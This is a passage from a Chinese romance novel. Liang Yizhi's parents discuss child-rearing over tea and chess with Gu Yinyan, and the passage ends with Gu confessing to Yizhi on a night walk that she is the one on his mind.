顾寅言可能是被烦得受不了,也可能确实是弹琴弹累了。有时梁爸爸不在,他才会松口,来陪她一块玩游戏,或者看一场电影。
偶尔一时学习劲上来了,也会请教顾寅言给自己讲两道题目,煞有介事地记两笔笔记。
梁爸爸翻她旧账:“幸好,寅言不是音专生,否则你就毁人一辈子了。”
梁亦芝:“爸,你说的也太重了吧。学生时代大家不都这样,
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把程度上升到一辈子,那我真成大罪人了。”
“再说了,顾寅言本来就厉害,怎么会被我这一点小事就影响。”
似乎是一辈子的时间限定过于遥远,又或者是青春时期的事勾起了那点往事,顾寅言拿着手里的茶杯,晃了神,没有作声。
杯底茶水清浅,过滤之后,不留一丝茶叶滤滓,明镜一般,映着他清隽深刻的眉眼。
少男少女的时期,那会儿他们年岁尚浅,都不懂事,时常因为些小事拌嘴吵架、闹些不成体统的恶作剧。
长大后离开家庭进入社会,反而学会了互相照拂。不论谁遇到困难,大家都会竭尽所能地帮助。
朋友之间就是这样,它没有亲情那么坚固的纽带,也不如爱情那般刻苦铭心。
惺惺相惜的人可能会在不知不觉间断联,貌合神离的相处反而变得联系紧密。最后留在身边的会剩下几个,又有谁能说得准呢?
一壶茶饮尽,也差不多开饭了。
一顿饭吃得热热闹闹。饭后,梁爸爸拉着顾寅言下棋,大家一边聊天。
梁家一家人都是健谈的性格,从今日的钢琴大赛聊到孩子的教育问题,梁副和梁母都是经验老道的老教师,两人你一言我一语,话题最后又落回到梁亦芝和顾寅言身上。
梁亦芝不想听父母念叨,随便编了个借口,跑回房间收拾行李去了。
估摸着时间差不多,她才重新下楼。
客厅里只剩父母还在聊天,梁爸爸正滔滔不绝着:
“现在的小孩都是没过过苦日子的,物质条件这么好,心气又浮躁,没几个能真正沉下心来练习的。我那儿好几个学生,刚来天赋都很高,也是不愿意在这上面多花时间下功夫。不思考旋律情感和演奏表达,还觉得自己已经超出常人了。这样怎么可能学好呢?”
梁亦芝刚下来就听到这些,心底哀叹一声。
竟然还没讲完。
她找准话口,插进一嘴问:“顾寅言呢?”
“刚下完棋,他说想出去透透气。”梁爸爸的发言还没结束,见梁亦芝出了门,也没多管,又接着道。
“我觉得在教育上,父母对孩子的引导还是很重要的。必须要有人从旁约束,必要的施加压力是应该的。”
“我看也不见得吧,”梁妈妈并未附和丈夫的意见,思索着什么,“寅言的父母从小也不在他身边,他不照样出色,而且各方面都这么突出。”
梁爸爸驳道:“寅言是个例,你就说有几个家庭,能做到像顾家这么舍得下血本投资的?更没有哪对父母会像他们家这么决绝的了。”
他喟叹一声,放低了音量:“自己亲骨肉都能从小放外面养着,换我,我可舍不得让亦芝受这个苦,没必要。”
梁妈妈说:“也是苦了这孩子。不过也幸好,顾家的投入算是得到了回报了,有个寅言这么优秀的儿子。”
夜幕降临,室外被黑暗笼罩。
梁亦芝来到别墅外,转头望了望,就见不远处的路灯下,顾寅言闲散地站在那。
街区空无一人,顾寅言形单影只。深色的影子从他站的位置延伸出去,在空旷的地面被拉得老长。
“顾寅言——”
梁亦芝嗓子亮,这一声唤得顾寅言手里动作一顿,循声看过来。
梁亦芝追上前,在他面前站定。
顾寅言若无其事问:“怎么出来了?”
梁亦芝手搭上他胳膊:“因为知道你要干这个。”
被她抓着的那只手臂下方,手里夹着根尚未点燃的烟。
梁亦芝不满地蹙眉,扣着他手举起来:“你的瘾怎么那么大?”
“最近想的多。”
“心情不好?”梁亦芝问。
“一般。”顾寅言收起了手里冷银色的打火机。
他烟抽得极少。
只有情绪无从抒发的时候,会想找个缺口排遣。
梁亦芝有意想探他的心事:“想什么,跟我说说呗?”
城市的夜晚没有星星。四周阒然,仅剩下路灯和月光相伴。
顾寅言并未作声,迈开步子。
梁亦芝手背在身后,仿着他脚步:“你说的是工作上的事,还是生活上的?是不是你爸妈又给你什么压力了?”
顾寅言双手插在兜里,说:“都不是。”
“你就是不想说。”梁亦芝决心要打破砂锅问到底,“那你就说说,是和别人有关的吗?”
身边人思忖一两秒,下巴轻点了下:“是。”
“关于谁?”
顾寅言忽然停下脚步,嗓音清冽:
“你。”